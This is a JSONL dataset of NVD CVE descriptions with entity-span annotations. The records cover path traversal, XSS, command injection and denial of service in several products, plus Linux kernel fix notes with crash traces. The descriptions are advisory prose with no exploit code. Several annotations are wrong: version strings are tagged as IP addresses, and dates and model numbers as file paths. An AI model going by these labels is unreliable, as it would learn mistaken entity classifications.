{"text": "bit7z is a cross-platform C++ static library that allows the compression/extraction of archive files. Prior to version 4.0.11, a path traversal vulnerability (\"Zip Slip\") exists in bit7z's archive extraction functionality. The library does not adequately validate file paths contained in archive entries, allowing files to be written outside the intended extraction directory through three distinct mechanisms: relative path traversal, absolute path traversal, and symbolic link traversal. An attacker can exploit this by providing a malicious archive to any application that uses bit7z to extract untrusted archives. Successful exploitation results in arbitrary file write with the privileges of the process performing the extraction. This could lead to overwriting of application binaries, configuration files, or other sensitive data. The vulnerability does not directly enable reading of file contents; the confidentiality impact is limited to the calling application's own behavior after extraction. However, applications that subsequently serve or display extracted files may face secondary confidentiality risks from attacker-created symlinks. Fixes have been released in version 4.0.11. If upgrading is not immediately possible, users can mitigate the vulnerability by validating each entry's destination path before writing. Other mitigations include running extraction with least privilege and extracting untrusted archives in a sandboxed directory.", "spans": {"VULNERABILITY: arbitrary file write": [[653, 673]], "VULNERABILITY: path traversal": [[129, 143], [420, 434], [445, 459]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27117"}}
{"text": "Checkmate is an open-source, self-hosted tool designed to track and monitor server hardware, uptime, response times, and incidents in real-time with beautiful visualizations. Prior to version 3.4.0, an unauthenticated information disclosure vulnerability exists in the GET /api/v1/status-page/:url endpoint. The endpoint does not enforce authentication or verify whether a status page is published before returning full status page details. As a result, unpublished status pages and their associated internal data are accessible to any unauthenticated user via direct API requests. This issue has been patched in version 3.4.0.", "spans": {"FILEPATH: /api/v1/status-page": [[273, 292]], "VULNERABILITY: information disclosure": [[218, 240]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30829"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: ngene: Fix out-of-bounds bug in ngene_command_config_free_buf()\n\nFix an 11-year old bug in ngene_command_config_free_buf() while\naddressing the following warnings caught with -Warray-bounds:\n\narch/alpha/include/asm/string.h:22:16: warning: '__builtin_memcpy' offset [12, 16] from the object at 'com' is out of the bounds of referenced subobject 'config' with type 'unsigned char' at offset 10 [-Warray-bounds]\narch/x86/include/asm/string_32.h:182:25: warning: '__builtin_memcpy' offset [12, 16] from the object at 'com' is out of the bounds of referenced subobject 'config' with type 'unsigned char' at offset 10 [-Warray-bounds]\n\nThe problem is that the original code is trying to copy 6 bytes of\ndata into a one-byte size member _config_ of the wrong structue\nFW_CONFIGURE_BUFFERS, in a single call to memcpy(). This causes a\nlegitimate compiler warning because memcpy() overruns the length\nof &com.cmd.ConfigureBuffers.config. It seems that the right\nstructure is FW_CONFIGURE_FREE_BUFFERS, instead, because it contains\n6 more members apart from the header _hdr_. Also, the name of\nthe function ngene_command_config_free_buf() suggests that the actual\nintention is to ConfigureFreeBuffers, instead of ConfigureBuffers\n(which takes place in the function ngene_command_config_buf(), above).\n\nFix this by enclosing those 6 members of struct FW_CONFIGURE_FREE_BUFFERS\ninto new struct config, and use &com.cmd.ConfigureFreeBuffers.config as\nthe destination address, instead of &com.cmd.ConfigureBuffers.config,\nwhen calling memcpy().\n\nThis also helps with the ongoing efforts to globally enable\n-Warray-bounds and get us closer to being able to tighten the\nFORTIFY_SOURCE routines on memcpy().", "spans": {"FILEPATH: /alpha/include/asm/string.h": [[272, 299]], "FILEPATH: /x86/include/asm/string_32.h": [[490, 518]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47288"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, cgroup: Fix kernel BUG in purge_effective_progs\n\nSyzkaller reported a triggered kernel BUG as follows:\n\n  ------------[ cut here ]------------\n  kernel BUG at kernel/bpf/cgroup.c:925!\n  invalid opcode: 0000 [#1] PREEMPT SMP NOPTI\n  CPU: 1 PID: 194 Comm: detach Not tainted 5.19.0-14184-g69dac8e431af #8\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n  rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\n  RIP: 0010:__cgroup_bpf_detach+0x1f2/0x2a0\n  Code: 00 e8 92 60 30 00 84 c0 75 d8 4c 89 e0 31 f6 85 f6 74 19 42 f6 84\n  28 48 05 00 00 02 75 0e 48 8b 80 c0 00 00 00 48 85 c0 75 e5 <0f> 0b 48\n  8b 0c5\n  RSP: 0018:ffffc9000055bdb0 EFLAGS: 00000246\n  RAX: 0000000000000000 RBX: ffff888100ec0800 RCX: ffffc900000f1000\n  RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff888100ec4578\n  RBP: 0000000000000000 R08: ffff888100ec0800 R09: 0000000000000040\n  R10: 0000000000000000 R11: 0000000000000000 R12: ffff888100ec4000\n  R13: 000000000000000d R14: ffffc90000199000 R15: ffff888100effb00\n  FS:  00007f68213d2b80(0000) GS:ffff88813bc80000(0000)\n  knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 000055f74a0e5850 CR3: 0000000102836000 CR4: 00000000000006e0\n  Call Trace:\n   <TASK>\n   cgroup_bpf_prog_detach+0xcc/0x100\n   __sys_bpf+0x2273/0x2a00\n   __x64_sys_bpf+0x17/0x20\n   do_syscall_64+0x3b/0x90\n   entry_SYSCALL_64_after_hwframe+0x63/0xcd\n  RIP: 0033:0x7f68214dbcb9\n  Code: 08 44 89 e0 5b 41 5c c3 66 0f 1f 84 00 00 00 00 00 48 89 f8 48 89\n  f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01\n  f0 ff8\n  RSP: 002b:00007ffeb487db68 EFLAGS: 00000246 ORIG_RAX: 0000000000000141\n  RAX: ffffffffffffffda RBX: 000000000000000b RCX: 00007f68214dbcb9\n  RDX: 0000000000000090 RSI: 00007ffeb487db70 RDI: 0000000000000009\n  RBP: 0000000000000003 R08: 0000000000000012 R09: 0000000b00000003\n  R10: 00007ffeb487db70 R11: 0000000000000246 R12: 00007ffeb487dc20\n  R13: 0000000000000004 R14: 0000000000000001 R15: 000055f74a1011b0\n   </TASK>\n  Modules linked in:\n  ---[ end trace 0000000000000000 ]---\n\nRepetition steps:\n\nFor the following cgroup tree,\n\n  root\n   |\n  cg1\n   |\n  cg2\n\n  1. attach prog2 to cg2, and then attach prog1 to cg1, both bpf progs\n     attach type is NONE or OVERRIDE.\n  2. write 1 to /proc/thread-self/fail-nth for failslab.\n  3. detach prog1 for cg1, and then kernel BUG occur.\n\nFailslab injection will cause kmalloc fail and fall back to\npurge_effective_progs. The problem is that cg2 have attached another prog,\nso when go through cg2 layer, iteration will add pos to 1, and subsequent\noperations will be skipped by the following condition, and cg will meet\nNULL in the end.\n\n  `if (pos && !(cg->bpf.flags[atype] & BPF_F_ALLOW_MULTI))`\n\nThe NULL cg means no link or prog match, this is as expected, and it's not\na bug. So here just skip the no match situation.", "spans": {"DOMAIN: rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org": [[441, 485]], "FILEPATH: /bpf/cgroup.c": [[239, 252]], "FILEPATH: /01/2014": [[488, 496]], "FILEPATH: /proc/thread-self/fail-nth": [[2344, 2370]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[394, 398]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49970"}}
{"text": "Multiple stored cross-site scripting (XSS) vulnerabilities in the Commerce module in Liferay Portal 7.3.5 through 7.4.3.91, and Liferay DXP 7.3 update 33 and earlier, and 7.4 before update 92 allow remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a (1) Shipping Name, (2) Shipping Phone Number, (3) Shipping Address, (4) Shipping Address 2, (5) Shipping Address 3, (6) Shipping Zip, (7) Shipping City, (8) Shipping Region (9), Shipping Country, (10) Billing Name, (11) Billing Phone Number, (12) Billing Address, (13) Billing Address 2, (14) Billing Address 3, (15) Billing Zip, (16) Billing City, (17) Billing Region, (18) Billing Country, or (19) Region Code.", "spans": {"IP_ADDRESS: 7.4.3.91": [[114, 122]], "VULNERABILITY: cross-site scripting": [[16, 36]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-42627"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_mod_security.php. When parsing the dominio parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9732.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_mod_security.php": [[228, 249]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15423"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, sockmap: Check for any of tcp_bpf_prots when cloning a listener\n\nA listening socket linked to a sockmap has its sk_prot overridden. It\npoints to one of the struct proto variants in tcp_bpf_prots. The variant\ndepends on the socket's family and which sockmap programs are attached.\n\nA child socket cloned from a TCP listener initially inherits their sk_prot.\nBut before cloning is finished, we restore the child's proto to the\nlistener's original non-tcp_bpf_prots one. This happens in\ntcp_create_openreq_child -> tcp_bpf_clone.\n\nToday, in tcp_bpf_clone we detect if the child's proto should be restored\nby checking only for the TCP_BPF_BASE proto variant. This is not\ncorrect. The sk_prot of listening socket linked to a sockmap can point to\nto any variant in tcp_bpf_prots.\n\nIf the listeners sk_prot happens to be not the TCP_BPF_BASE variant, then\nthe child socket unintentionally is left if the inherited sk_prot by\ntcp_bpf_clone.\n\nThis leads to issues like infinite recursion on close [1], because the\nchild state is otherwise not set up for use with tcp_bpf_prot operations.\n\nAdjust the check in tcp_bpf_clone to detect all of tcp_bpf_prots variants.\n\nNote that it wouldn't be sufficient to check the socket state when\noverriding the sk_prot in tcp_bpf_update_proto in order to always use the\nTCP_BPF_BASE variant for listening sockets. Since commit\nb8b8315e39ff (\"bpf, sockmap: Remove unhash handler for BPF sockmap usage\")\nit is possible for a socket to transition to TCP_LISTEN state while already\nlinked to a sockmap, e.g. connect() -> insert into map ->\nconnect(AF_UNSPEC) -> listen().\n\n[1]: https://lore.kernel.org/all/00000000000073b14905ef2e7401@google.com/", "spans": {"URL: https://lore.kernel.org/all/00000000000073b14905ef2e7401@google.com/": [[1675, 1743]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52986"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix memleak due to fentry attach failure\n\nIf it fails to attach fentry, the allocated bpf trampoline image will be\nleft in the system. That can be verified by checking /proc/kallsyms.\n\nThis meamleak can be verified by a simple bpf program as follows:\n\n  SEC(\"fentry/trap_init\")\n  int fentry_run()\n  {\n      return 0;\n  }\n\nIt will fail to attach trap_init because this function is freed after\nkernel init, and then we can find the trampoline image is left in the\nsystem by checking /proc/kallsyms.\n\n  $ tail /proc/kallsyms\n  ffffffffc0613000 t bpf_trampoline_6442453466_1  [bpf]\n  ffffffffc06c3000 t bpf_trampoline_6442453466_1  [bpf]\n\n  $ bpftool btf dump file /sys/kernel/btf/vmlinux | grep \"FUNC 'trap_init'\"\n  [2522] FUNC 'trap_init' type_id=119 linkage=static\n\n  $ echo $((6442453466 & 0x7fffffff))\n  2522\n\nNote that there are two left bpf trampoline images, that is because the\nlibbpf will fallback to raw tracepoint if -EINVAL is returned.", "spans": {"FILEPATH: /proc/kallsyms.": [[242, 257], [555, 570]], "FILEPATH: /proc/kallsyms": [[581, 595]], "FILEPATH: /sys/kernel/btf/vmlinux": [[735, 758]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53221"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhfsplus: fix uninit-value in copy_name\n\n[syzbot reported]\nBUG: KMSAN: uninit-value in sized_strscpy+0xc4/0x160\n sized_strscpy+0xc4/0x160\n copy_name+0x2af/0x320 fs/hfsplus/xattr.c:411\n hfsplus_listxattr+0x11e9/0x1a50 fs/hfsplus/xattr.c:750\n vfs_listxattr fs/xattr.c:493 [inline]\n listxattr+0x1f3/0x6b0 fs/xattr.c:840\n path_listxattr fs/xattr.c:864 [inline]\n __do_sys_listxattr fs/xattr.c:876 [inline]\n __se_sys_listxattr fs/xattr.c:873 [inline]\n __x64_sys_listxattr+0x16b/0x2f0 fs/xattr.c:873\n x64_sys_call+0x2ba0/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:195\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was created at:\n slab_post_alloc_hook mm/slub.c:3877 [inline]\n slab_alloc_node mm/slub.c:3918 [inline]\n kmalloc_trace+0x57b/0xbe0 mm/slub.c:4065\n kmalloc include/linux/slab.h:628 [inline]\n hfsplus_listxattr+0x4cc/0x1a50 fs/hfsplus/xattr.c:699\n vfs_listxattr fs/xattr.c:493 [inline]\n listxattr+0x1f3/0x6b0 fs/xattr.c:840\n path_listxattr fs/xattr.c:864 [inline]\n __do_sys_listxattr fs/xattr.c:876 [inline]\n __se_sys_listxattr fs/xattr.c:873 [inline]\n __x64_sys_listxattr+0x16b/0x2f0 fs/xattr.c:873\n x64_sys_call+0x2ba0/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:195\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[Fix]\nWhen allocating memory to strbuf, initialize memory to 0.", "spans": {"FILEPATH: /hfsplus/xattr.c": [[231, 247], [287, 303], [1015, 1031]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[593, 633], [1321, 1361]], "FILEPATH: /x86/entry/common.c": [[658, 677], [720, 739], [1386, 1405], [1448, 1467]], "FILEPATH: /linux/slab.h": [[954, 967]], "FILEPATH: xattr.c": [[326, 333], [373, 380], [404, 411], [448, 455], [492, 499], [549, 556], [1054, 1061], [1101, 1108], [1132, 1139], [1176, 1183], [1220, 1227], [1277, 1284]], "FILEPATH: slub.c": [[834, 840], [875, 881], [926, 932]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41059"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix race when detecting delalloc ranges during fiemap\n\nFor fiemap we recently stopped locking the target extent range for the\nwhole duration of the fiemap call, in order to avoid a deadlock in a\nscenario where the fiemap buffer happens to be a memory mapped range of\nthe same file. This use case is very unlikely to be useful in practice but\nit may be triggered by fuzz testing (syzbot, etc).\n\nThis however introduced a race that makes us miss delalloc ranges for\nfile regions that are currently holes, so the caller of fiemap will not\nbe aware that there's data for some file regions. This can be quite\nserious for some use cases - for example in coreutils versions before 9.0,\nthe cp program used fiemap to detect holes and data in the source file,\ncopying only regions with data (extents or delalloc) from the source file\nto the destination file in order to preserve holes (see the documentation\nfor its --sparse command line option). This means that if cp was used\nwith a source file that had delalloc in a hole, the destination file could\nend up without that data, which is effectively a data loss issue, if it\nhappened to hit the race described below.\n\nThe race happens like this:\n\n1) Fiemap is called, without the FIEMAP_FLAG_SYNC flag, for a file that\n   has delalloc in the file range [64M, 65M[, which is currently a hole;\n\n2) Fiemap locks the inode in shared mode, then starts iterating the\n   inode's subvolume tree searching for file extent items, without having\n   the whole fiemap target range locked in the inode's io tree - the\n   change introduced recently by commit b0ad381fa769 (\"btrfs: fix\n   deadlock with fiemap and extent locking\"). It only locks ranges in\n   the io tree when it finds a hole or prealloc extent since that\n   commit;\n\n3) Note that fiemap clones each leaf before using it, and this is to\n   avoid deadlocks when locking a file range in the inode's io tree and\n   the fiemap buffer is memory mapped to some file, because writing\n   to the page with btrfs_page_mkwrite() will wait on any ordered extent\n   for the page's range and the ordered extent needs to lock the range\n   and may need to modify the same leaf, therefore leading to a deadlock\n   on the leaf;\n\n4) While iterating the file extent items in the cloned leaf before\n   finding the hole in the range [64M, 65M[, the delalloc in that range\n   is flushed and its ordered extent completes - meaning the corresponding\n   file extent item is in the inode's subvolume tree, but not present in\n   the cloned leaf that fiemap is iterating over;\n\n5) When fiemap finds the hole in the [64M, 65M[ range by seeing the gap in\n   the cloned leaf (or a file extent item with disk_bytenr == 0 in case\n   the NO_HOLES feature is not enabled), it will lock that file range in\n   the inode's io tree and then search for delalloc by checking for the\n   EXTENT_DELALLOC bit in the io tree for that range and ordered extents\n   (with btrfs_find_delalloc_in_range()). But it finds nothing since the\n   delalloc in that range was already flushed and the ordered extent\n   completed and is gone - as a result fiemap will not report that there's\n   delalloc or an extent for the range [64M, 65M[, so user space will be\n   mislead into thinking that there's a hole in that range.\n\nThis could actually be sporadically triggered with test case generic/094\nfrom fstests, which reports a missing extent/delalloc range like this:\n\n  generic/094 2s ... - output mismatch (see /home/fdmanana/git/hub/xfstests/results//generic/094.out.bad)\n      --- tests/generic/094.out\t2020-06-10 19:29:03.830519425 +0100\n      +++ /home/fdmanana/git/hub/xfstests/results//generic/094.out.bad\t2024-02-28 11:00:00.381071525 +0000\n      @@ -1,3 +1,9 @@\n       QA output created by 094\n       fiemap run with sync\n       fiemap run without sync\n      +ERROR: couldn't find extent at 7\n      +map is 'HHDDHPPDPHPH'\n      +logical: [       5..       6] phys:\n---truncated---", "spans": {"FILEPATH: /home/fdmanana/git/hub/xfstests/results": [[3521, 3560], [3661, 3700]], "FILEPATH: /generic/094.out.bad": [[3561, 3581], [3701, 3721]], "FILEPATH: /generic/094.out": [[3598, 3614]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-27080"}}
{"text": "The Dashboard component of TIBCO Software Inc.'s TIBCO JasperReports Server, TIBCO JasperReports Server, TIBCO JasperReports Server - Developer Edition, TIBCO JasperReports Server for AWS Marketplace, TIBCO JasperReports Server for AWS Marketplace, TIBCO JasperReports Server for Microsoft Azure, and TIBCO JasperReports Server for Microsoft Azure contains an easily exploitable vulnerability that allows a low privileged attacker with network access to execute Stored Cross Site Scripting (XSS) on the affected system. A successful attack using this vulnerability requires human interaction from a person other than the attacker. Affected releases are TIBCO Software Inc.'s TIBCO JasperReports Server: versions 8.0.2 and below, TIBCO JasperReports Server: version 8.1.0, TIBCO JasperReports Server - Developer Edition: versions 8.1.0 and below, TIBCO JasperReports Server for AWS Marketplace: versions 8.0.2 and below, TIBCO JasperReports Server for AWS Marketplace: version 8.1.0, TIBCO JasperReports Server for Microsoft Azure: versions 8.0.2 and below, and TIBCO JasperReports Server for Microsoft Azure: version 8.1.0.", "spans": {"ORGANIZATION: Microsoft": [[280, 289], [332, 341], [1014, 1023], [1092, 1101]], "ORGANIZATION: AWS": [[184, 187], [232, 235], [877, 880], [951, 954]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41563"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/x86/amd: Check event before enable to avoid GPF\n\nOn AMD machines cpuc->events[idx] can become NULL in a subtle race\ncondition with NMI->throttle->x86_pmu_stop().\n\nCheck event for NULL in amd_pmu_enable_all() before enable to avoid a GPF.\nThis appears to be an AMD only issue.\n\nSyzkaller reported a GPF in amd_pmu_enable_all.\n\nINFO: NMI handler (perf_event_nmi_handler) took too long to run: 13.143\n    msecs\nOops: general protection fault, probably for non-canonical address\n    0xdffffc0000000034: 0000  PREEMPT SMP KASAN NOPTI\nKASAN: null-ptr-deref in range [0x00000000000001a0-0x00000000000001a7]\nCPU: 0 UID: 0 PID: 328415 Comm: repro_36674776 Not tainted 6.12.0-rc1-syzk\nRIP: 0010:x86_pmu_enable_event (arch/x86/events/perf_event.h:1195\n    arch/x86/events/core.c:1430)\nRSP: 0018:ffff888118009d60 EFLAGS: 00010012\nRAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000\nRDX: 0000000000000034 RSI: 0000000000000000 RDI: 00000000000001a0\nRBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000002\nR13: ffff88811802a440 R14: ffff88811802a240 R15: ffff8881132d8601\nFS:  00007f097dfaa700(0000) GS:ffff888118000000(0000) GS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00000000200001c0 CR3: 0000000103d56000 CR4: 00000000000006f0\nCall Trace:\n <IRQ>\namd_pmu_enable_all (arch/x86/events/amd/core.c:760 (discriminator 2))\nx86_pmu_enable (arch/x86/events/core.c:1360)\nevent_sched_out (kernel/events/core.c:1191 kernel/events/core.c:1186\n    kernel/events/core.c:2346)\n__perf_remove_from_context (kernel/events/core.c:2435)\nevent_function (kernel/events/core.c:259)\nremote_function (kernel/events/core.c:92 (discriminator 1)\n    kernel/events/core.c:72 (discriminator 1))\n__flush_smp_call_function_queue (./arch/x86/include/asm/jump_label.h:27\n    ./include/linux/jump_label.h:207 ./include/trace/events/csd.h:64\n    kernel/smp.c:135 kernel/smp.c:540)\n__sysvec_call_function_single (./arch/x86/include/asm/jump_label.h:27\n    ./include/linux/jump_label.h:207\n    ./arch/x86/include/asm/trace/irq_vectors.h:99 arch/x86/kernel/smp.c:272)\nsysvec_call_function_single (arch/x86/kernel/smp.c:266 (discriminator 47)\n    arch/x86/kernel/smp.c:266 (discriminator 47))\n </IRQ>", "spans": {"FILEPATH: /x86/amd": [[73, 81]], "FILEPATH: /x86/events/perf_event.h": [[785, 809]], "FILEPATH: /x86/events/core.c": [[823, 841], [1521, 1539]], "FILEPATH: /x86/events/amd/core.c": [[1455, 1477]], "FILEPATH: /events/core.c": [[1569, 1583], [1595, 1609], [1625, 1639], [1680, 1694], [1723, 1737], [1766, 1780], [1812, 1826]], "FILEPATH: /arch/x86/include/asm/jump_label.h": [[1883, 1917], [2061, 2095]], "FILEPATH: /include/linux/jump_label.h": [[1926, 1953], [2104, 2131]], "FILEPATH: /include/trace/events/csd.h": [[1959, 1986]], "FILEPATH: /arch/x86/include/asm/trace/irq_vectors.h": [[2141, 2182]], "FILEPATH: /x86/kernel/smp.c": [[2190, 2207], [2246, 2263], [2295, 2312]], "FILEPATH: smp.c": [[2001, 2006], [2018, 2023]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: AMD": [[126, 129], [334, 337]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68798"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: timer: fix ida_free call while not allocated\n\nIn the snd_utimer_create() function, if the kasprintf() function return\nNULL, snd_utimer_put_id() will be called, finally use ida_free()\nto free the unallocated id 0.\n\nthe syzkaller reported the following information:\n  ------------[ cut here ]------------\n  ida_free called for id=0 which is not allocated.\n  WARNING: CPU: 1 PID: 1286 at lib/idr.c:592 ida_free+0x1fd/0x2f0 lib/idr.c:592\n  Modules linked in:\n  CPU: 1 UID: 0 PID: 1286 Comm: syz-executor164 Not tainted 6.15.8 #3 PREEMPT(lazy)\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-4.fc42 04/01/2014\n  RIP: 0010:ida_free+0x1fd/0x2f0 lib/idr.c:592\n  Code: f8 fc 41 83 fc 3e 76 69 e8 70 b2 f8 (...)\n  RSP: 0018:ffffc900007f79c8 EFLAGS: 00010282\n  RAX: 0000000000000000 RBX: 1ffff920000fef3b RCX: ffffffff872176a5\n  RDX: ffff88800369d200 RSI: 0000000000000000 RDI: ffff88800369d200\n  RBP: 0000000000000000 R08: ffffffff87ba60a5 R09: 0000000000000000\n  R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000\n  R13: 0000000000000002 R14: 0000000000000000 R15: 0000000000000000\n  FS:  00007f6f1abc1740(0000) GS:ffff8880d76a0000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007f6f1ad7a784 CR3: 000000007a6e2000 CR4: 00000000000006f0\n  Call Trace:\n   <TASK>\n   snd_utimer_put_id sound/core/timer.c:2043 [inline] [snd_timer]\n   snd_utimer_create+0x59b/0x6a0 sound/core/timer.c:2184 [snd_timer]\n   snd_utimer_ioctl_create sound/core/timer.c:2202 [inline] [snd_timer]\n   __snd_timer_user_ioctl.isra.0+0x724/0x1340 sound/core/timer.c:2287 [snd_timer]\n   snd_timer_user_ioctl+0x75/0xc0 sound/core/timer.c:2298 [snd_timer]\n   vfs_ioctl fs/ioctl.c:51 [inline]\n   __do_sys_ioctl fs/ioctl.c:907 [inline]\n   __se_sys_ioctl fs/ioctl.c:893 [inline]\n   __x64_sys_ioctl+0x198/0x200 fs/ioctl.c:893\n   do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n   do_syscall_64+0x7b/0x160 arch/x86/entry/syscall_64.c:94\n   entry_SYSCALL_64_after_hwframe+0x76/0x7e\n  [...]\n\nThe utimer->id should be set properly before the kasprintf() function,\nensures the snd_utimer_put_id() function will free the allocated id.", "spans": {"FILEPATH: /01/2014": [[692, 700]], "FILEPATH: /core/timer.c": [[1433, 1446], [1511, 1524], [1574, 1587], [1665, 1678], [1735, 1748]], "FILEPATH: /x86/entry/syscall_64.c": [[1954, 1977], [2022, 2045]], "FILEPATH: idr.c": [[464, 469], [499, 504], [738, 743]], "FILEPATH: ioctl.c": [[1782, 1789], [1823, 1830], [1865, 1872], [1920, 1927]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[631, 635]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39765"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nSUNRPC: Fix the svc_deferred_event trace class\n\nFix a NULL deref crash that occurs when an svc_rqst is deferred\nwhile the sunrpc tracing subsystem is enabled. svc_revisit() sets\ndr->xprt to NULL, so it can't be relied upon in the tracepoint to\nprovide the remote's address.\n\nUnfortunately we can't revert the \"svc_deferred_class\" hunk in\ncommit ece200ddd54b (\"sunrpc: Save remote presentation address in\nsvc_xprt for trace events\") because there is now a specific check\nof event format specifiers for unsafe dereferences. The warning\nthat check emits is:\n\n  event svc_defer_recv has unsafe dereference of argument 1\n\nA \"%pISpc\" format specifier with a \"struct sockaddr *\" is indeed\nflagged by this check.\n\nInstead, take the brute-force approach used by the svcrdma_qp_error\ntracepoint. Convert the dr::addr field into a presentation address\nin the TP_fast_assign() arm of the trace event, and store that as\na string. This fix can be backported to -stable kernels.\n\nIn the meantime, commit c6ced22997ad (\"tracing: Update print fmt\ncheck to handle new __get_sockaddr() macro\") is now in v5.18, so\nthis wonky fix can be replaced with __sockaddr() and friends\nproperly during the v5.19 merge window.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49065"}}
{"text": "Uncontrolled Resource Consumption vulnerability in Mitsubishi Electric MELSEC iQ-R Series R00/01/02CPU, MELSEC iQ-R Series R04/08/16/32/120(EN)CPU, MELSEC iQ-R Series R08/16/32/120SFCPU, MELSEC iQ-R Series R08/16/32/120PCPU, MELSEC iQ-R Series R08/16/32/120PSFCPU, MELSEC iQ-R Series R16/32/64MTCPU, MELSEC iQ-R Series R12CCPU-V, MELSEC Q Series Q03UDECPU, MELSEC Q Series Q04/06/10/13/20/26/50/100UDEHCPU, MELSEC Q Series Q03/04/06/13/26UDVCPU, MELSEC Q Series Q04/06/13/26UDPVCPU, MELSEC Q Series Q12DCCPU-V, MELSEC Q Series Q24DHCCPU-V(G), MELSEC Q Series Q24/26DHCCPU-LS, MELSEC Q Series MR-MQ100, MELSEC Q Series Q172/173DCPU-S1, MELSEC Q Series Q172/173DSCPU, MELSEC Q Series Q170MCPU, MELSEC Q Series Q170MSCPU(-S1), MELSEC L Series L02/06/26CPU(-P), MELSEC L Series L26CPU-(P)BT and MELIPC Series MI5122-VW allows a remote unauthenticated attacker to cause a denial-of-service (DoS) condition by sending specially crafted packets. System reset is required for recovery.", "spans": {"FILEPATH: /01/02CPU": [[93, 102]], "FILEPATH: /08/16/32/120": [[126, 139]], "FILEPATH: /16/32/120SFCPU": [[170, 185]], "FILEPATH: /16/32/120PCPU": [[209, 223]], "FILEPATH: /16/32/120PSFCPU": [[247, 263]], "FILEPATH: /32/64MTCPU": [[287, 298]], "FILEPATH: /06/10/13/20/26/50/100UDEHCPU": [[376, 405]], "FILEPATH: /04/06/13/26UDVCPU": [[426, 444]], "FILEPATH: /06/13/26UDPVCPU": [[465, 481]], "FILEPATH: /06/26CPU": [[743, 752]], "VULNERABILITY: Uncontrolled Resource Consumption": [[0, 33]], "VULNERABILITY: denial-of-service": [[867, 884]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-20609"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/entry: Clear X86_FEATURE_SMAP when CONFIG_X86_SMAP=n\n\nCommit\n\n  3c73b81a9164 (\"x86/entry, selftests: Further improve user entry sanity checks\")\n\nadded a warning if AC is set when in the kernel.\n\nCommit\n\n  662a0221893a3d (\"x86/entry: Fix AC assertion\")\n\nchanged the warning to only fire if the CPU supports SMAP.\n\nHowever, the warning can still trigger on a machine that supports SMAP\nbut where it's disabled in the kernel config and when running the\nsyscall_nt selftest, for example:\n\n  ------------[ cut here ]------------\n  WARNING: CPU: 0 PID: 49 at irqentry_enter_from_user_mode\n  CPU: 0 PID: 49 Comm: init Tainted: G                T 5.15.0-rc4+ #98 e6202628ee053b4f310759978284bd8bb0ce6905\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014\n  RIP: 0010:irqentry_enter_from_user_mode\n  ...\n  Call Trace:\n   ? irqentry_enter\n   ? 